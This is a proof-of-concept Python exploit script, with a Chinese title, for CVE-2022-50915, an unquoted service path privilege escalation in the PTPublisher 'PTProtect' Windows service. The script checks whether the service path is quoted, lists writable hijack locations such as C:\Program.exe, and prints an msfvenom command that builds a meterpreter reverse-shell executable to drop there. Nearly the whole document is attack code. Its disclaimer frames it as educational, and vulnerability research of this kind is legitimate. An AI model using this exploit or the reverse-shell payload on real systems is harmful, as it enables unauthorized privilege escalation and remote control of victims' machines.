CVE-2022-50915 PTPublisher 未加引号服务路径权限提升漏洞

# CVE-2022-50915 PoC - PTPublisher Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in PTPublisher # Author: Security Researcher # Note: For educational and authorized testing purposes only import os import subprocess import sys def check_vulnerability(): """Check if PTPublisher service is vulnerable""" service_name = "PTProtect" try: # Query service configuration using WMIC result = subprocess.check_output( ['wmic', 'service', 'where', f'name="{service_name}"', 'get', 'pathname'], text=True ) print(f"[*] Service Path: {result}") # Check if path contains spaces and is not quoted if '"' not in result and 'Program Files' in result: print("[!] VULNERABLE: Service path is not quoted!") return True else: print("[*] NOT VULNERABLE: Service path is properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_payload(payload_path): """Generate reverse shell payload for privilege escalation""" # This is a placeholder - in real attack, attacker would generate # a malicious executable (e.g., meterpreter reverse shell) print(f"[*] Payload would be created at: {payload_path}") print("[*] Example: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o Program.exe") def exploit(): """Exploit unquoted service path""" vulnerable_paths = [ "C:\\Program.exe", "C:\\Program Files (x86)\\Primera.exe", "C:\\Program Files (x86)\\Primera Technology\\PTPublisher.exe" ] print("[*] Available exploitation points:") for path in vulnerable_paths: if not os.path.exists(path): print(f" [+] {path} - Available for exploitation") else: print(f" [-] {path} - Already exists") if __name__ == "__main__": print("=" * 60) print("CVE-2022-50915 PTPublisher Unquoted Service Path PoC") print("=" * 60) if check_vulnerability(): exploit() create_payload("C:\\Program.exe") else: print("[*] Target is not vulnerable to this attack vector")